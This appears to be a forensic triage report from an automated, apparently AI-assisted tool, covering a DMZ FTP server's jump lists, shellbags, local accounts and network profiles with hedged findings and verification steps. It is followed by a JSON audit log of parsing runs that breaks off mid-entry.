  • No explicit execution evidence. Custom Jump Lists indicate user/application interaction but do not prove execution. The PowerShell and Internet Explorer entries must be correlated with Prefetch, Amcache, UserAssist, SRUM, and Windows Event Log (Security EID 4624/4688, PowerShell operational logs) to confirm actual use and command-line activity.
  • Missing PowerShell arguments. The PowerShell entries (powershell_ise.exe and the Windows PowerShell.lnk shortcut) contain no command-line arguments or script paths in the available fields, so this artifact cannot reveal whether they were used to launch malicious code, bypass execution policy, or load external scripts.
  • Sparse dataset limits timeline confidence. Only 8 deduplicated records span approximately four months (2018-05-10 to 2018-09-04) across three accounts (Administrator, rsydow, rsydow-a). Such sparsity makes it difficult to establish baseline activity or detect anomalies; the absence of additional user/application entries may reflect minimal interactive use, incomplete collection, or artifact clearing.
  • Missing AutomaticDestinations and MRU/MFU metadata. This artifact contains only customDestinations-ms files. AutomaticDestinations-ms files (and their internal DestList) are absent here, which would provide Most-Recently-Used (MRU) ordering, access counts, and more granular interaction timestamps.
  • No incident window provided. Without a defined compromise timeframe, the significance of specific timestamps—such as the rsydow PowerShell activity on 2018-09-04T17:58:41Z (rows 3–4) or the rsydow-a PowerShell activity on 2018-08-17T04:40:07Z (rows 6–7)—cannot be confidently assessed as post-compromise or benign off-hours maintenance.
  • No network or LOLBin indicators observed. No UNC paths, administrative shares, Temp/AppData/Downloads targets, archives, scripts, or non-standard executables were present in the Jump List targets, but this does not rule out lateral movement or tooling staged elsewhere on the system.
Shellbags (shellbags) HIGH
Record Count 117
Time Range Start 2013-08-22T15:39:32
Time Range End 2018-09-07T05:24:18.986488

Findings

  • [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Manual staging of sensitive M&A data inside the FTP root with typo folder names and coincident Recycle Bin deletion.
  • Evidence: rsydow created/browsed a nested series of folders under C:\srl-ftp on 2018-08-06 and 2018-08-07: row 15 (New folder, 2018-08-06T20:21:30), row 16 (Uses — likely a typo, same timestamp), row 17 (Users, same timestamp), row 18 (Users\New folder, 2018-08-06T20:21:44), row 19 (Users\Nfury, same timestamp), row 20 (Users\Nfury\Asgard, 2018-08-07T22:27:58), and row 21 (M&A Targets.zip, 2018-08-07T22:26:46). Rows 22–25 show the contents of the zip were browsed inside Explorer. At the exact timestamp of the Nfury folder creation, row 80 shows Recycle Bin activity ($RI5023X, 2018-08-06T20:21:44).
  • Why it matters: The use of default “New folder” names and a typo (“Uses”) indicates manual GUI-based directory creation, strongly suggesting an interactive user staged sensitive merger-and-acquisition data on an internet-facing DMZ FTP server, likely for exfiltration.
  • Alternative explanation: A clumsy but legitimate user manually organizing business files.
  • Verify: Cross-reference MFT/USN creation times for these folders and the zip; review FTPSVC2 transfer logs; recover the Recycle Bin item referenced by $RI5023X to identify what was deleted during the staging sequence.
  • [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] VPN client and configuration archives downloaded by Administrator.
  • Evidence: row 92 (My Computer\Downloads\site-fw-udp-1197-vpntest-Viscosity.visc.zip, 2018-04-26T19:48:36, Administrator) and row 97 (My Computer\C:\Users\Administrator\Downloads\shieldbase-vpn.zip, 2018-04-26T19:48:36, Administrator).
  • Why it matters: Back-to-back VPN-related archives on a DMZ server may indicate establishment of unauthorized remote access tunnels or persistence via VPN.
  • Alternative explanation: Administrator legitimately provisioning remote access for DMZ host management.
  • Verify: Check browser history/download records, Amcache/Prefetch for Viscosity or shieldbase execution, and active VPN network interfaces or profiles.
  • [SEVERITY: MEDIUM] [CONFIDENCE: HIGH] rsydow browsed other users’ profiles and sensitive system directories.
  • Evidence: row 29 (My Computer\C:\Users\Administrator, 2018-05-23T16:14:42, rsydow), row 30 (My Computer\C:\Users\Administrator\Downloads, 2018-05-22T02:19:14, rsydow), row 40 (My Computer\C:\Users\rsydow-a, 2018-08-17T04:34:56, rsydow), row 62 (My Computer\C:\Windows\System32\winevt\Logs, 2018-07-17T07:31:48, rsydow), and row 65 (My Computer\C:\Windows\Tasks, 2018-07-17T23:44:22, rsydow).
  • Why it matters: Reconnaissance across other user profiles and access to event-log and task directories can support credential hunting, scheduled-task persistence, or anti-forensics.
  • Alternative explanation: Administrative troubleshooting or help-desk file management.
  • Verify: Audit NTFS access logs for these paths; review Security event log for Event ID 1102 (log cleared) and inspect scheduled tasks for unauthorized entries.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] PowerShell directory created under an ad-hoc FTP user folder.
  • Evidence: row 26 (My Computer\C:\srl-ftp\Users\rsydow-f, 2018-08-08T15:30:02, rsydow) and row 27 (My Computer\C:\srl-ftp\Users\rsydow-f\PowerShell, 2018-08-09T17:13:16, rsydow).
  • Why it matters: A PowerShell folder nested inside an FTP user directory may host scripts or tools for lateral movement, automation, or post-exploitation activity.
  • Alternative explanation: Legitimate administrative script storage.
  • Verify: Inventory directory contents via MFT and inspect for .ps1, .exe, or encoded command files.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Local FTP share accessed via UNC path.
  • Evidence: row 76 (Network\<USERS_PROPERTY_VIEW {999534523}>\172.16.10.12\srl-ftp, no mtime, rsydow).
  • Why it matters: Browsing the local FTP root through a UNC path suggests SMB-based access, which can be abused for scripted staging or lateral movement.
  • Alternative explanation: User mapped a network drive to the local share for convenience.
  • Verify: Examine SMB Session Setup and Tree Connect events (Security Event ID 4624/5140) for access to \\172.16.10.12\srl-ftp.
  • [SEVERITY: MEDIUM] [CONFIDENCE: LOW] Sysmon configuration package downloaded.
  • Evidence: row 71 (My Computer\Downloads\sysmon-config-master, 2018-08-07T18:34:40, rsydow).
  • Why it matters: Downloading a sysmon configuration repository may indicate an attempt to study or evade endpoint detection rules.
  • Alternative explanation: Security staff hardening host monitoring.
  • Verify: Determine whether Sysmon is installed and compare the active configuration against a known-good baseline.

Data Gaps

  • Missing timestamp fields: No ts_atime or ts_btime values are present in any record, and many shellbag entries (e.g., ROOT_FOLDER, CONTROL_PANEL types) lack even ts_mtime, severely limiting precise timeline reconstruction.
  • No execution evidence: Shellbags record Explorer folder views, not process execution. This artifact cannot confirm whether VPN tools, PowerShell scripts, or the M&A zip archive were executed, extracted, or transferred.
  • No explicit credential-access tooling observed: No Mimikatz, LSASS-related, or known credential-dumping tool paths appear in these shellbags; credential-access behavior can only be inferred from cross-profile directory access.
  • Incomplete deletion context: Row 80 references a Recycle Bin item ($RI5023X) but the original filename, deleted timestamp, and file contents are not available in shellbags.
  • Missing corroborating artifacts: FTPSVC2 transfer logs, MFT/USN records, browser history, Prefetch/Amcache, and Windows Security Event Logs are needed to confirm exfiltration, malicious execution, log clearing, or account legitimacy for rsydow/rsydow-a.
SAM Users (sam) MEDIUM
Record Count 10
Time Range Start 2018-04-25T22:17:17.034735
Time Range End 2018-08-08T15:28:55.479198

Findings

  • [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] Two local accounts with Marvel-themed names were created minutes apart on the DMZ FTP server, suggesting possible unauthorized or attacker-provisioned backdoors.
  • Evidence: row 6 (ts 2018-08-06T18:08:17.424261+00:00, username nfury, fullname Nick Fury, admincomment "ftp account", flags 16); row 7 (ts 2018-08-06T18:17:13.380711+00:00, username dblake, fullname Donald Blake - Asgard, admincomment "Account for Donald @ Asgard VC", flags 16).
  • Why it matters: Fictional-character usernames are atypical for enterprise DMZ service accounts and are commonly used by attackers or red teams for persistent local access; their rapid sequential creation suggests scripted or bulk provisioning.
  • Alternative explanation: These may be legitimate test or contractor accounts for a project named "Asgard VC" if documented in the asset inventory.
  • Verify: Search Security event logs for Event ID 4720 around 2018-08-06 18:08 UTC to identify the creating subject; verify group membership (especially Administrators) via EVTX 4732 or local group policy.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Local account ftpadmin shows inconsistent logon metadata (non-zero lastlogin with zero recorded logins), raising questions about tampering or non-standard logon types.
  • Evidence: row 4 (ts 2018-07-16T22:27:33.608875+00:00, username ftpadmin, lastlogin 2018-09-06T23:59:56.210867+00:00, logins 0, failedlogins 0).
  • Why it matters: An account that shows recent use but no incrementing logon count may have been accessed via a service or network logon path that bypasses the SAM counter, or the hive may have been altered.
  • Alternative explanation: Parsing artifact from registry transaction logs where the logon-count cell was not updated in the extracted snapshot.
  • Verify: Correlate with raw SAM hive and .LOG files; review Security log Event ID 4624 for logon type 3 (network) or type 5 (service) for ftpadmin.
  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Local account rsydow-a—described as "Rsydow admin"—shows repeated off-hours logon activity.
  • Evidence: row 13 (ts 2018-07-16T22:30:33.013620+00:00, username rsydow-a, admincomment "Rsydow admin", lastlogin 2018-09-07T05:19:35.962332+00:00, logins 4, flags 528); row 5 (same creation ts, lastlogin 2018-09-07T21:04:53.368649+00:00, logins 5, flags 528).
  • Why it matters: Early-morning (05:19 UTC) and late-night (21:04 UTC) local administrative logons on a DMZ host may indicate credential compromise or unauthorized remote access.
  • Alternative explanation: Scheduled maintenance or an administrator working across time zones.
  • Verify: Cross-reference with Windows Security EVTX logon events (4624/4634) and RDP/TerminalServices logs to determine logon type and source IP.

Data Gaps

  • Group memberships (e.g., Administrators, Remote Desktop Users) are not present in this artifact; it is impossible to determine whether ftpadmin, rsydow-a, nfury, or dblake hold privileged rights without local group or EVTX data.
  • The raw "flags" field is not decoded; account states such as disabled, locked out, or "password never expires" cannot be confirmed.
  • No NTLM hash metadata, password history, or password hint data is provided, preventing assessment of credential strength or evidence of dumping.
  • The account creator SID and creation process are absent; attribution requires Security event logs (Event ID 4720).
  • The logon-count versus lastlogin discrepancy for ftpadmin cannot be resolved from this extract alone and may require comparison with the raw SAM hive and transaction logs.
  • No asset inventory or account baseline is available; distinguishing legitimate service accounts from malicious creations relies entirely on naming conventions and temporal clustering.
Network History (network_history) MEDIUM
Record Count 2
Time Range Start 2018-05-07T20:44:46.000017
Time Range End 2018-05-25T19:26:08.000451

Findings

  • [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Anomalous secondary wired network profile detected on DMZ FTP host with distinct gateway MAC and only a 6-second connection window.
  • Evidence: Profile "Network 2" created 2018-05-25T15:26:08.000451-04:00 and last connected 2018-05-25T15:26:14.000764-04:00 (row_ref 2); gateway MAC 0008a20b5c88. This contrasts with the stable primary profile "Network" (gateway MAC a2c6c7000602, row_ref 1) active from 2018-05-07 through 2018-09-07.
  • Why it matters: A transient, unidentified secondary network attachment on an internet-facing DMZ server may indicate unauthorized physical access, rogue adapter insertion, or brief pivoting/exfiltration via an alternate network path.
  • Alternative explanation: A transient DHCP renewal, brief network maintenance, adapter reset, or virtual switch event that caused Windows to generate a new profile.
  • Verify: Correlate gateway MAC 0008a20b5c88 with switch CAM tables or asset inventories, and inspect SRUM / Microsoft-Windows-NetworkProfile/Operational Event Logs around 2018-05-25T15:26:00Z for adapter state changes and process/user attribution.

Data Gaps

  • Temporal coverage gap: The latest record in this artifact is 2018-09-07; all network activity after this date is unassessed. If the compromise occurred later, this artifact provides no coverage.
  • Deleted or aged profiles: Network profiles can be deleted or pruned. The presence of only two profiles cannot prove that other transient or rogue connections did not occur.
  • No traffic or user attribution: This artifact does not record which user or process initiated the connection, what data was transferred, or whether the 6-second "Network 2" attachment carried any packets.
  • Absent network context: Both profiles report <none> for dns_suffix and generic Windows default names, preventing validation of whether either gateway belongs to an authorized DMZ, management, or internal corporate segment.

Audit Trail

View Audit Entries (777)
Timestamp Action Details
2026-06-13T06:11:24.233Z case_created
{
  "case_id": "3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96",
  "case_name": "Automated Triage 2026-06-13"
}
2026-06-13T06:11:24.253Z automation_started
{
  "evidence_count": 7,
  "evidence_path": "/mnt/data/Evidence",
  "profile": "quick_triage",
  "skip_hashing": true
}
2026-06-13T06:11:24.257Z image_added
{
  "case_id": "3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96",
  "image_id": "c2adc4df-9f95-4026-a12d-390fdd04d28e",
  "label": "base-dc-cdrive"
}
2026-06-13T06:11:35.317Z evidence_intake
{
  "dissect_path": "/mnt/data/Evidence/base-dc-cdrive.E01",
  "evidence_file_hashes": [],
  "file": "/mnt/data/Evidence/base-dc-cdrive.E01",
  "md5": "N/A (skipped)",
  "sha256": "N/A (skipped)",
  "size_bytes": 0,
  "source_mode": "path"
}
2026-06-13T06:11:35.320Z parsing_started
{
  "artifact_key": "runkeys",
  "artifact_name": "Run/RunOnce Keys",
  "function": "runkeys"
}
2026-06-13T06:11:35.341Z parsing_completed
{
  "artifact_key": "runkeys",
  "artifact_name": "Run/RunOnce Keys",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/runkeys.csv",
  "duration_seconds": 0.020936,
  "function": "runkeys",
  "record_count": 4
}
2026-06-13T06:11:35.344Z parsing_started
{
  "artifact_key": "tasks",
  "artifact_name": "Scheduled Tasks",
  "function": "tasks"
}
2026-06-13T06:11:35.506Z parsing_completed
{
  "artifact_key": "tasks",
  "artifact_name": "Scheduled Tasks",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/tasks.csv",
  "duration_seconds": 0.162232,
  "function": "tasks",
  "record_count": 369
}
2026-06-13T06:11:35.518Z parsing_started
{
  "artifact_key": "services",
  "artifact_name": "Services",
  "function": "services"
}
2026-06-13T06:11:38.046Z parsing_completed
{
  "artifact_key": "services",
  "artifact_name": "Services",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/services.csv",
  "duration_seconds": 2.52813,
  "function": "services",
  "record_count": 2111
}
2026-06-13T06:11:38.054Z parsing_started
{
  "artifact_key": "shimcache",
  "artifact_name": "Shimcache",
  "function": "shimcache"
}
2026-06-13T06:13:13.065Z parsing_completed
{
  "artifact_key": "shimcache",
  "artifact_name": "Shimcache",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/shimcache.csv",
  "duration_seconds": 95.011233,
  "function": "shimcache",
  "record_count": 2380
}
2026-06-13T06:13:13.072Z parsing_started
{
  "artifact_key": "amcache",
  "artifact_name": "Amcache",
  "function": "amcache"
}
2026-06-13T06:13:13.892Z parsing_completed
{
  "artifact_key": "amcache",
  "artifact_name": "Amcache",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/amcache.csv",
  "duration_seconds": 0.819973,
  "function": "amcache",
  "record_count": 1123
}
2026-06-13T06:13:13.903Z parsing_started
{
  "artifact_key": "userassist",
  "artifact_name": "UserAssist",
  "function": "userassist"
}
2026-06-13T06:13:13.928Z parsing_completed
{
  "artifact_key": "userassist",
  "artifact_name": "UserAssist",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/userassist.csv",
  "duration_seconds": 0.025229,
  "function": "userassist",
  "record_count": 88
}
2026-06-13T06:13:13.931Z parsing_started
{
  "artifact_key": "recyclebin",
  "artifact_name": "Recycle Bin",
  "function": "recyclebin"
}
2026-06-13T06:13:13.937Z parsing_completed
{
  "artifact_key": "recyclebin",
  "artifact_name": "Recycle Bin",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/recyclebin.csv",
  "duration_seconds": 0.006282,
  "function": "recyclebin",
  "record_count": 0
}
2026-06-13T06:13:13.940Z parsing_started
{
  "artifact_key": "browser.history",
  "artifact_name": "Browser History",
  "function": "browser.history"
}
2026-06-13T06:13:15.977Z parsing_completed
{
  "artifact_key": "browser.history",
  "artifact_name": "Browser History",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/browser.history.csv",
  "duration_seconds": 2.036834,
  "function": "browser.history",
  "record_count": 35
}
2026-06-13T06:13:15.982Z parsing_started
{
  "artifact_key": "browser.downloads",
  "artifact_name": "Browser Downloads",
  "function": "browser.downloads"
}
2026-06-13T06:13:17.952Z parsing_completed
{
  "artifact_key": "browser.downloads",
  "artifact_name": "Browser Downloads",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/browser.downloads.csv",
  "duration_seconds": 1.970638,
  "function": "browser.downloads",
  "record_count": 2
}
2026-06-13T06:13:17.957Z parsing_started
{
  "artifact_key": "powershell_history",
  "artifact_name": "PowerShell History",
  "function": "powershell_history"
}
2026-06-13T06:13:17.986Z parsing_completed
{
  "artifact_key": "powershell_history",
  "artifact_name": "PowerShell History",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/powershell_history.csv",
  "duration_seconds": 0.02984,
  "function": "powershell_history",
  "record_count": 291
}
2026-06-13T06:13:17.989Z parsing_started
{
  "artifact_key": "jumplist.automatic_destination",
  "artifact_name": "Automatic Jump Lists",
  "function": "jumplist.automatic_destination"
}
2026-06-13T06:13:18.272Z parsing_completed
{
  "artifact_key": "jumplist.automatic_destination",
  "artifact_name": "Automatic Jump Lists",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/jumplist.automatic_destination.csv",
  "duration_seconds": 0.282419,
  "function": "jumplist.automatic_destination",
  "record_count": 45
}
2026-06-13T06:13:18.275Z parsing_started
{
  "artifact_key": "jumplist.custom_destination",
  "artifact_name": "Custom Jump Lists",
  "function": "jumplist.custom_destination"
}
2026-06-13T06:13:18.298Z parsing_completed
{
  "artifact_key": "jumplist.custom_destination",
  "artifact_name": "Custom Jump Lists",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/jumplist.custom_destination.csv",
  "duration_seconds": 0.023141,
  "function": "jumplist.custom_destination",
  "record_count": 6
}
2026-06-13T06:13:18.301Z parsing_started
{
  "artifact_key": "shellbags",
  "artifact_name": "Shellbags",
  "function": "shellbags"
}
2026-06-13T06:13:18.384Z parsing_completed
{
  "artifact_key": "shellbags",
  "artifact_name": "Shellbags",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/shellbags.csv",
  "duration_seconds": 0.082957,
  "function": "shellbags",
  "record_count": 149
}
2026-06-13T06:13:18.388Z parsing_started
{
  "artifact_key": "sam",
  "artifact_name": "SAM Users",
  "function": "sam"
}
2026-06-13T06:13:18.395Z parsing_completed
{
  "artifact_key": "sam",
  "artifact_name": "SAM Users",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/sam.csv",
  "duration_seconds": 0.00711,
  "function": "sam",
  "record_count": 6
}
2026-06-13T06:13:18.398Z parsing_started
{
  "artifact_key": "defender.quarantine",
  "artifact_name": "Defender Quarantine",
  "function": "defender.quarantine"
}
2026-06-13T06:13:18.405Z parsing_completed
{
  "artifact_key": "defender.quarantine",
  "artifact_name": "Defender Quarantine",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/defender.quarantine.csv",
  "duration_seconds": 0.007063,
  "function": "defender.quarantine",
  "record_count": 2
}
2026-06-13T06:13:18.434Z parsing_started
{
  "artifact_key": "network_history",
  "artifact_name": "Network History",
  "function": "network_history"
}
2026-06-13T06:13:18.451Z parsing_completed
{
  "artifact_key": "network_history",
  "artifact_name": "Network History",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/network_history.csv",
  "duration_seconds": 0.017204,
  "function": "network_history",
  "record_count": 6
}
2026-06-13T06:13:18.456Z image_added
{
  "case_id": "3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96",
  "image_id": "66190324-1efb-42d2-b2c4-316e91c91631",
  "label": "base-file-cdrive"
}
2026-06-13T06:13:27.968Z evidence_intake
{
  "dissect_path": "/mnt/data/Evidence/base-file-cdrive.E01",
  "evidence_file_hashes": [],
  "file": "/mnt/data/Evidence/base-file-cdrive.E01",
  "md5": "N/A (skipped)",
  "sha256": "N/A (skipped)",
  "size_bytes": 0,
  "source_mode": "path"
}
2026-06-13T06:13:27.972Z parsing_started
{
  "artifact_key": "runkeys",
  "artifact_name": "Run/RunOnce Keys",
  "function": "runkeys"
}
2026-06-13T06:13:27.987Z parsing_completed
{
  "artifact_key": "runkeys",
  "artifact_name": "Run/RunOnce Keys",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed/runkeys.csv",
  "duration_seconds": 0.014263,
  "function": "runkeys",
  "record_count": 4
}
2026-06-13T06:13:28.006Z parsing_started
{
  "artifact_key": "tasks",
  "artifact_name": "Scheduled Tasks",
  "function": "tasks"
}
2026-06-13T06:13:28.104Z parsing_completed
{
  "artifact_key": "tasks",
  "artifact_name": "Scheduled Tasks",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed/tasks.csv",
  "duration_seconds": 0.097986,
  "function": "tasks",
  "record_count": 235
}
2026-06-13T06:13:28.107Z parsing_started
{
  "artifact_key": "services",
  "artifact_name": "Services",
  "function": "services"
}
2026-06-13T06:13:29.879Z parsing_completed
{
  "artifact_key": "services",
  "artifact_name": "Services",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed/services.csv",
  "duration_seconds": 1.771925,
  "function": "services",
  "record_count": 1616
}
2026-06-13T06:13:29.882Z parsing_started
{
  "artifact_key": "shimcache",
  "artifact_name": "Shimcache",
  "function": "shimcache"
}
2026-06-13T06:13:46.616Z parsing_completed
{
  "artifact_key": "shimcache",
  "artifact_name": "Shimcache",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed/shimcache.csv",
  "duration_seconds": 16.733912,
  "function": "shimcache",
  "record_count": 1108
}
2026-06-13T06:13:46.621Z parsing_started
{
  "artifact_key": "amcache",
  "artifact_name": "Amcache",
  "function": "amcache"
}
2026-06-13T06:13:47.067Z parsing_completed
{
  "artifact_key": "amcache",
  "artifact_name": "Amcache",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed/amcache.csv",
  "duration_seconds": 0.445647,
  "function": "amcache",
  "record_count": 1319
}
2026-06-13T06:13:47.074Z parsing_started
{
  "artifact_key": "userassist",
  "artifact_name": "UserAssist",
  "function": "userassist"
}
2026-06-13T06:13:47.104Z parsing_completed
{
  "artifact_key": "userassist",
  "artifact_name": "UserAssist",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed/userassist.csv",
  "duration_seconds": 0.030598,
  "function": "userassist",
  "record_count": 83
}
2026-06-13T06:13:47.107Z parsing_started
{
  "artifact_key": "recyclebin",
  "artifact_name": "Recycle Bin",
  "function": "recyclebin"
}
2026-06-13T06:13:47.167Z parsing_completed
{
  "artifact_key": "recyclebin",
  "artifact_name": "Recycle Bin",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed/recyclebin.csv",
  "duration_seconds": 0.059848,
  "function": "recyclebin",
  "record_count": 21
}
2026-06-13T06:13:47.170Z parsing_started
{
  "artifact_key": "browser.history",
  "artifact_name": "Browser History",
  "function": "browser.history"
}
2026-06-13T06:13:50.539Z parsing_completed
{
  "artifact_key": "browser.history",
  "artifact_name": "Browser History",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed/browser.history.csv",
  "duration_seconds": 3.36926,
  "function": "browser.history",
  "record_count": 50
}
2026-06-13T06:13:50.543Z parsing_started
{
  "artifact_key": "browser.downloads",
  "artifact_name": "Browser Downloads",
  "function": "browser.downloads"
}
2026-06-13T06:13:53.383Z parsing_completed
{
  "artifact_key": "browser.downloads",
  "artifact_name": "Browser Downloads",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed/browser.downloads.csv",
  "duration_seconds": 2.840331,
  "function": "browser.downloads",
  "record_count": 5
}
2026-06-13T06:13:53.389Z parsing_started
{
  "artifact_key": "jumplist.automatic_destination",
  "artifact_name": "Automatic Jump Lists",
  "function": "jumplist.automatic_destination"
}
2026-06-13T06:13:53.495Z parsing_completed
{
  "artifact_key": "jumplist.automatic_destination",
  "artifact_name": "Automatic Jump Lists",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed/jumplist.automatic_destination.csv",
  "duration_seconds": 0.106322,
  "function": "jumplist.automatic_destination",
  "record_count": 21
}
2026-06-13T06:13:53.498Z parsing_started
{
  "artifact_key": "jumplist.custom_destination",
  "artifact_name": "Custom Jump Lists",
  "function": "jumplist.custom_destination"
}
2026-06-13T06:13:53.532Z parsing_completed
{
  "artifact_key": "jumplist.custom_destination",
  "artifact_name": "Custom Jump Lists",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed/jumplist.custom_destination.csv",
  "duration_seconds": 0.034177,
  "function": "jumplist.custom_destination",
  "record_count": 18
}
2026-06-13T06:13:53.536Z parsing_started
{
  "artifact_key": "shellbags",
  "artifact_name": "Shellbags",
  "function": "shellbags"
}
2026-06-13T06:13:53.648Z parsing_completed
{
  "artifact_key": "shellbags",
  "artifact_name": "Shellbags",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed/shellbags.csv",
  "duration_seconds": 0.112554,
  "function": "shellbags",
  "record_count": 242
}
2026-06-13T06:13:53.655Z parsing_started
{
  "artifact_key": "sam",
  "artifact_name": "SAM Users",
  "function": "sam"
}
2026-06-13T06:13:53.661Z parsing_completed
{
  "artifact_key": "sam",
  "artifact_name": "SAM Users",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed/sam.csv",
  "duration_seconds": 0.006791,
  "function": "sam",
  "record_count": 8
}
2026-06-13T06:13:53.664Z parsing_started
{
  "artifact_key": "defender.quarantine",
  "artifact_name": "Defender Quarantine",
  "function": "defender.quarantine"
}
2026-06-13T06:13:53.668Z parsing_completed
{
  "artifact_key": "defender.quarantine",
  "artifact_name": "Defender Quarantine",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed/defender.quarantine.csv",
  "duration_seconds": 0.003952,
  "function": "defender.quarantine",
  "record_count": 0
}
2026-06-13T06:13:53.671Z parsing_started
{
  "artifact_key": "network_history",
  "artifact_name": "Network History",
  "function": "network_history"
}
2026-06-13T06:13:53.688Z parsing_completed
{
  "artifact_key": "network_history",
  "artifact_name": "Network History",
  "csv_path": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed/network_history.csv",
  "duration_seconds": 0.017025,
  "function": "network_history",
  "record_count": 6
}
2026-06-13T06:13:53.693Z image_added
{
  "case_id": "3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96",
  "image_id": "a66612b5-ee40-416e-8eb2-49ec34b9b3b1",
  "label": "base-rd-01-cdrive"
}
2026-06-13T06:14:09.807Z evidence_intake
{
  "dissect_path": "/mnt/data/Evidence/base-rd-01-cdrive.E01",
  "evidence_file_hashes": [],
